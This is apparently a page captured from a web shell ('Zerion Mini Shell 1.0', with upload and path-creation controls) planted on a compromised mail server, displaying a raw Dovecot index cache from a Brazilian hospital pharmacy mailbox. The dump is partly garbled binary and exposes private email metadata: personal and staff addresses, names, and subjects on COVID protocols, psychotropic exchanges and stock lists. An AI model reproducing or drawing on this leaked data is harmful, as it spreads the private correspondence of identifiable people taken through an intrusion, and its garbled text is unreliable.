%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/mail/vacivitta.com.br/daniel.andrade/.Trash.HRJR/
Upload File :
Create Path :
Current File : /home/vacivi36/mail/vacivitta.com.br/daniel.andrade/.Trash.HRJR/dovecot.index.cache

l��hl��h������&���h�f�hp��h(��h�<�h��hф�hф�hdd�hdd�hdd�hdd�hdd�hdd�hdd�hdd�hdd�hdd�h(��h(��h(��h(��h(��h(��h(��h(��h(��h(��h�����������������������������������������������������������������������������������������������������������������������������flagsdate.sentdate.receiveddate.savesize.virtualsize.physicalimap.bodyimap.bodystructureimap.envelopepop3.uidlpop3.orderguidmime.partsbinary.partsbody.snippethdr.MESSAGE-IDhdr.FROMhdr.SUBJECThdr.CChdr.CONTENT-TYPEhdr.DATEhdr.DISPOSITION-NOTIFICATION-TOhdr.LIST-POSThdr.REPLY-TOhdr.TOhdr.X-KOLAB-MIME-VERSIONhdr.X-KOLAB-TYPEhdr.X-PRIORITYhdr.BCChdr.CONTENT-TRANSFER-ENCODINGhdr.IN-REPLY-TOhdr.MAIL-FOLLOWUP-TOhdr.MAIL-REPLY-TOhdr.REFERENCEShdr.RESENT-BCChdr.RETURN-PATHhdr.SENDERhdr.X-DRAFT-INFOtHMessage-ID: <CRFSPEXXEHt3V5g2oHz0000095b@mailsp01.crfsp.org.br>
LFrom: "Atendimento Eletronico \(CRFSP\)" <atendimento@crfsp.org.br>
ZSubject: =?UTF-8?Q?Solicita=C3=A7=C3=A3o_de_Baixa_2333500_-_e?=
	=?UTF-8?Q?-CAT?=
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0143_01DC4754.F2BFBFF0"
-Date: Fri, 2 Oct 2020 14:36:28 -0300
-Reply-To: <atendimento@crfsp.org.br>
!To: <npor96@hotmail.com>
 X-Priority: 1 (Highest)
 !"#$% �A|E��HmLP	@�����X�("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 533 12 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 33624 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0143_01DC4754.F2BFBFF0") NIL ("pt-br") NIL1ew_�DMessage-ID: <759751a48c9a8276434a0cb6744a795a@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
0Subject: Fwd: POP e Fluxograma COVID-19
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0148_01DC4754.F62001F0"
.Date: Mon, 27 Apr 2020 14:57:51 -0300
!To: <npor96@hotmail.com>
EIn-Reply-To: <006dac0f53de4949ddcfba1e0caceb84@isgsaude.org>
 !�References: <4850a4acb11e93ed138055f7f637cd06@especializagestao.com.br> <03334f557c07b578db402351a0151d53@isgsaude.org> <006dac0f53de4949ddcfba1e0caceb84@isgsaude.org>
"#$% �A�(��\�HLP��%@ ��z��("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 691 37 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 1428484 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0148_01DC4754.F62001F0") NIL ("pt-br") NIL� �^�DMessage-ID: <0a28105dadfc1402caa778ce6fcc4f8e@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
�Subject: =?UTF-8?Q?Fwd:_UTI_ADULTO_-__corre=C3=A7=C3=A3o_C.I.?=
	=?UTF-8?Q?_-_Dispensa=C3=A7=C3=A3o_por_centro_de_cus?=
	=?UTF-8?Q?to_///Dispensa=C3=A7=C3=A3o_por_RH?=
] Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_014D_01DC4754.F70D9640"
-Date: Thu, 9 Apr 2020 18:36:51 -0300
!To: <npor96@hotmail.com>
EIn-Reply-To: <dc7877dcdb72ebbe06c2f81cd8ad969a@isgsaude.org>
 !DReferences: <dc7877dcdb72ebbe06c2f81cd8ad969a@isgsaude.org>
"#$% �A0��y	p�	H�LP��$@����u	�	("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 699 36 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 627984 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_014D_01DC4754.F70D9640") NIL ("pt-br") NIL���^<DMessage-ID: <5f4ff881a60c14ff05ab0f1b0b380768@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
#Subject: protocolo covid19
!Cc: <npor96@hotmail.com>
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0152_01DC4754.F7938F20"
-Date: Fri, 3 Apr 2020 11:58:24 -0300
BiDisposition-Notification-To: <farmacia.hrjr@isgsaude.org>
.To: <aline.barbosa.hrjr@isgsaude.org>
 !"#$% �A�h�nv}HWLP��@���9l�z("text" "plain" ("charset" "UTF-8") NIL NIL "7bit" 227 17 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 293614 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0152_01DC4754.F7938F20") NIL ("pt-br") NIL�R�^�DMessage-ID: <dc2fe8558665a5a2a3f7c43b6a9bf526@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
#Subject: protocolo covid19
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0157_01DC4754.F820DB00"
-Date: Wed, 1 Apr 2020 18:38:52 -0300
!To: <npor96@hotmail.com>
 !"#$% �A�`q<�HLPu�@���Wo~("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 129 12 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 294422 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0157_01DC4754.F820DB00") NIL ("pt-br") NILd
�^�DMessage-ID: <12040e65f5502e9cf5eb2e52076884b6@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
~Subject: =?UTF-8?Q?Fwd:_Planilha_posi=C3=A7=C3=A3o_de_estoque?=
	=?UTF-8?Q?__da_farm=C3=A1cia_CC_e_do_5=C2=B0_andar?=
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_015C_01DC4754.F8CAAF90"
-Date: Wed, 5 Feb 2020 16:44:01 -0300
!To: <npor96@hotmail.com>
QIn-Reply-To: <c5a59f33e5c8f86d4ef91ce6228c9cb7@especializagestao.com.br>
 !PReferences: <c5a59f33e5c8f86d4ef91ce6228c9cb7@especializagestao.com.br>
"#$% �A�T�f9|HXLP{�@L���b�w("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 666 31 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 423930 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_015C_01DC4754.F8CAAF90") NIL ("pt-br") NIL2%;^�DMessage-ID: <eed5948582c6fabb07b65341b3999528@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
Subject: kit isg
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0161_01DC4754.F949F1B0"
.Date: Fri, 24 Jan 2020 18:53:32 -0300
!To: <npor96@hotmail.com>
 !"#$% �A�/����H6LPu�@$�����("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 129 12 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 314804 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0161_01DC4754.F949F1B0") NIL ("pt-br") NILch+^DMessage-ID: <9a91268d4f76feea20ca6c52e555d5d1@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
Subject: indicadores
!Cc: <npor96@hotmail.com>
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0166_01DC4754.FB688BF0"
-Date: Sat, 7 Dec 2019 16:14:54 -0300
/To: <daniel.andrade.hrjr@isgsaude.org>
 !"#$% �Ahc���,H[LPu�@I��Z��p*("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 129 12 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 33827440 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0166_01DC4754.FB688BF0") NIL ("pt-br") NIL���]�DMessage-ID: <7cd4c959bd246211a1360fc3bc0c7dd1@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
Subject: POP CC
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_016B_01DC4754.FE8EF940"
.Date: Wed, 16 Oct 2019 16:36:56 -0300
!To: <npor96@hotmail.com>
 !"#$% �A"�� �.H{LPz�@n����,("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 133 11 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 273568 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_016B_01DC4754.FE8EF940") NIL ("pt-br") NILlq�]�DMessage-ID: <7d552f38b3d569c7bc83bf24836817f4@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0170_01DC4754.FF19D420"
.Date: Thu, 10 Oct 2019 18:43:36 -0300
!To: <npor96@hotmail.com>
 !"#$% �A���p�uH�LPu�@����nxs("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 129 12 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 95096 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0170_01DC4754.FF19D420") NIL ("pt-br") NIL��]�DMessage-ID: <87231bd707b7aae654916d10e2a78aa3@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
?Subject: =?UTF-8?Q?Fwd:_Re:_Gr=C3=A1ficos_financeiro?=
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0175_01DC4754.FFA5C070"
.Date: Thu, 10 Oct 2019 13:53:20 -0300
!To: <npor96@hotmail.com>
EIn-Reply-To: <bd4a335dde5d4027eb8883816c30d81c@isgsaude.org>
 !tReferences: <e76c8a29993b11ca1b8b24417e28723d@isgsaude.org> <bd4a335dde5d4027eb8883816c30d81c@isgsaude.org>
"#$% �A����ȮH�LP��D@�����D�("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 991 68 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 174404 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0175_01DC4754.FFA5C070") NIL ("pt-br") NIL3b�]tDMessage-ID: <8ef3ddf6e85f5172705f72a549c002e0@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
;Subject: =?UTF-8?Q?Fwd:_Gr=C3=A1ficos_de_consumo?=
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_017A_01DC4755.0035F280"
-Date: Tue, 8 Oct 2019 16:57:25 -0300
!To: <npor96@hotmail.com>
EIn-Reply-To: <8d67badfa33d9a30c5c650f5c547fd10@isgsaude.org>
 !DReferences: <8d67badfa33d9a30c5c650f5c547fd10@isgsaude.org>
"#$% �A�8c�	�
H<LP��%@g���	F
("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 983 37 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 662086 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_017A_01DC4755.0035F280") NIL ("pt-br") NIL��]DMessage-ID: <8698fdc9aebb1f5ce76cc1ce8d5ce2ec@isgsaude.org>
1From: <daniel.andrade.hrjr@isgsaude.org>
Subject: sepse
!Cc: <npor96@hotmail.com>
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_017F_01DC4755.00D45560"
-Date: Sun, 1 Sep 2019 16:07:50 -0300
JTo: "Daniel Merlin de Andrade" <daniel.andrade.hrjr@isgsaude.org>
 !"#$% �Av���%<<&H�LPu�@�����%:&("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 129 12 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 2505238 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_017F_01DC4755.00D45560") NIL ("pt-br") NILl]0DMessage-ID: <6c6c1bfe6908523f792a4a8133c7b70c@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
�Subject: =?UTF-8?Q?Fwd:_ENC:_Assuntos_discutidos_e_?=
	=?UTF-8?Q?acordos_firmados_em_visita_t=C3=A9cni?=
	=?UTF-8?Q?ca_ao_projeto=5FAbril/19--_HRJR?=
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0184_01DC4755.01628BA0"
-Date: Tue, 7 May 2019 11:15:25 -0300
!To: <npor96@hotmail.com>
QIn-Reply-To: <cfe64e9ce49f292fd302145e7e54ec56@especializagestao.com.br>
 !�References: <007301d4ee15$b93ddc70$2bb99550$@xavier@especializagestao.com.br> <cfe64e9ce49f292fd302145e7e54ec56@especializagestao.com.br>
"#$% �AnLy߁HpLP\��@E.��\dPl("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 5098 142 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 158800 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0184_01DC4755.01628BA0") NIL ("pt-br") NILp��\�DMessage-ID: <82bd85682e4fbebb3fa00b3c0fbe0b81@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
9Subject: Fwd: LISTA DE MEDICAMENTO DE ALTO CUSTO
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0189_01DC4755.01F94D60"
-Date: Fri, 3 May 2019 16:38:17 -0300
!To: <npor96@hotmail.com>
DIn-Reply-To: <6029097.1100371.1555524181769@mail.yahoo.com>
 !vReferences: <6029097.1100371.1555524181769.ref@mail.yahoo.com> <6029097.1100371.1555524181769@mail.yahoo.com>
"#$% �A{�͒ٔH�LP��'@�����|�("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 1208 39 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 36476 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0189_01DC4755.01F94D60") NIL ("pt-br") NIL���\DMessage-ID: <b067cb8fd77e4e1ae5c8405a9c4394c9@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
\Subject: =?UTF-8?Q?Fwd:_Re:_Orienta=C3=A7=C3=A3o_aos_usu=C3=A1rios?=
	=?UTF-8?Q?.?=
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_018E_01DC4755.02908450"
-Date: Fri, 3 May 2019 16:37:39 -0300
!To: <npor96@hotmail.com>
DIn-Reply-To: <2092474982.9263.1556132602754@mail.yahoo.com>
 !�References: <6029097.1100371.1555524181769.ref@mail.yahoo.com> <6029097.1100371.1555524181769@mail.yahoo.com> <75e41ba2c81a7fecf82ddb21fad0b117@isgsaude.org> <2092474982.9263.1556132602754@mail.yahoo.com>
"#$% �A^�~�HaLP��_@Z&������("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 3039 95 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 60410 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_018E_01DC4755.02908450") NIL ("pt-br") NIL���\�D$Message-ID: <168be58614ba80d7d88ef8c546d90aa2@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
9"Subject: Fwd: LISTA DE MEDICAMENTO DE ALTO CUSTO
]&Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0193_01DC4755.031D0CE0"
.#Date: Thu, 25 Apr 2019 08:29:44 -0300
!To: <npor96@hotmail.com>
D!In-Reply-To: <6029097.1100371.1555524181769@mail.yahoo.com>
 !v References: <6029097.1100371.1555524181769.ref@mail.yahoo.com> <6029097.1100371.1555524181769@mail.yahoo.com>
"#$% �A�Փ�HLP��'@"������("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 1208 39 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 36744 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0193_01DC4755.031D0CE0") NIL ("pt-br") NIL0��\DMessage-ID: <16d7dbade8cd2700626bfbfda271b115@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
\Subject: =?UTF-8?Q?Fwd:_Re:_Orienta=C3=A7=C3=A3o_aos_usu=C3=A1rios?=
	=?UTF-8?Q?.?=
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0198_01DC4755.03A54FB0"
.Date: Thu, 25 Apr 2019 08:29:18 -0300
!To: <npor96@hotmail.com>
DIn-Reply-To: <2092474982.9263.1556132602754@mail.yahoo.com>
 !�References: <6029097.1100371.1555524181769.ref@mail.yahoo.com> <6029097.1100371.1555524181769@mail.yahoo.com> <75e41ba2c81a7fecf82ddb21fad0b117@isgsaude.org> <2092474982.9263.1556132602754@mail.yahoo.com>
"#$% �Ao��0�HrLP��_@k&������("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 3039 95 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 60332 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_0198_01DC4755.03A54FB0") NIL ("pt-br") NIL��\HMessage-ID: <CRFSPEXtrSByh133tYw00001600@mailsp01.crfsp.org.br>
5From: "Mailer - CRFSP" <mailer@crfsp.org.br>
iSubject: =?UTF-8?Q?Comunicado_CRFSP_-_Termo_de_Fisc?=
	=?UTF-8?Q?aliza=C3=A7=C3=A3o:_142230482?=
}Cc: <jaaquealmeidaa@icloud.com>,
	<amanda_unipfarma@hotmail.com>,
	<alinoca2001@yahoo.com.br>,
	<npor96@hotmail.com>
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_019D_01DC4755.0431B130"
.Date: Thu, 10 Jan 2019 08:51:01 -0300
-Reply-To: <atendimento@crfsp.org.br>
HTo: <diretoria.hrjr@isgsaude.org>,
	<jaaquealmeidaa@icloud.com>
 X-Priority: 1 (Highest)
 !"#$% �A�$�$��H�$LP�)@^+����R�("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 1564 41 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 34642 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_019D_01DC4755.0431B130") NIL ("pt-br") NIL�17\�D%Message-ID: <b43dada235dc11a3fb4c82cf57c1ac87@isgsaude.org>
3From: <farmacia.clinica.hrjr@isgsaude.org>
?#Subject: =?UTF-8?Q?Listas_Kits_Centro_Cir=C3=BArgico?=
�!Cc: =?UTF-8?Q?Maria_Aur=C3=AAnice_Rodrigues?= <aurenice.rodrigues.hrjr@isgsaude.org>,
	"Aline.barbosa Hrjr" <aline.barbosa.hrjr@isgsaude.org>
]'Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_01A2_01DC4755.04C5DAE0"
.$Date: Wed, 19 Dec 2018 09:22:33 -0300
DTo: <quintela.ricardo@gmail.com>,
	<anagaldez@yahoo.com.br>
 !"#$% �A�-.1�!�H�-LP��@!/�����("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 196 7 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 176568 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_01A2_01DC4755.04C5DAE0") NIL ("pt-br") NIL8\�DMessage-ID: <d59759cba354769b9eaa793d2ff55467@isgsaude.org>
3From: <farmacia.clinica.hrjr@isgsaude.org>
(Subject: Pop drogas vaso ativas
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_01A7_01DC4755.05512AF0"
-Date: Wed, 7 Nov 2018 07:38:23 -0300
CTo: "Aline.barbosa Hrjr" <aline.barbosa.hrjr@isgsaude.org>
 !"#$% �A�'�';�F�H�'LP��@�(�����("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 167 7 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 58874 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_01A7_01DC4755.05512AF0") NIL ("pt-br") NIL���[pDMessage-ID: <7d2549291f2da7e19f908b0f562c4fa8@isgsaude.org>
+From: <farmacia.hrjr@isgsaude.org>
>Subject: =?UTF-8?Q?Fwd:_Troca_de_Psicotr=C3=B3picos?=
]Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_01AC_01DC4755.05E0C0C0"
-Date: Sun, 2 Sep 2018 08:18:24 -0300
!To: <npor96@hotmail.com>
EIn-Reply-To: <892a639b075bc287d5bf4222f4d88855@isgsaude.org>
 !DReferences: <892a639b075bc287d5bf4222f4d88855@isgsaude.org>
"#$% �A�&'���H'LP=P@�(�����("text" "plain" ("charset" "UTF-8") NIL NIL "8bit" 336 19 NIL NIL NIL NIL)("application" "ms-tnef" ("name" "winmail.dat") NIL NIL "base64" 186910 NIL ("attachment" ("filename" "winmail.dat")) NIL NIL) "mixed" ("boundary" "----=_NextPart_000_01AC_01DC4755.05E0C0C0") NIL ("pt-br") NILNj[

Zerion Mini Shell 1.0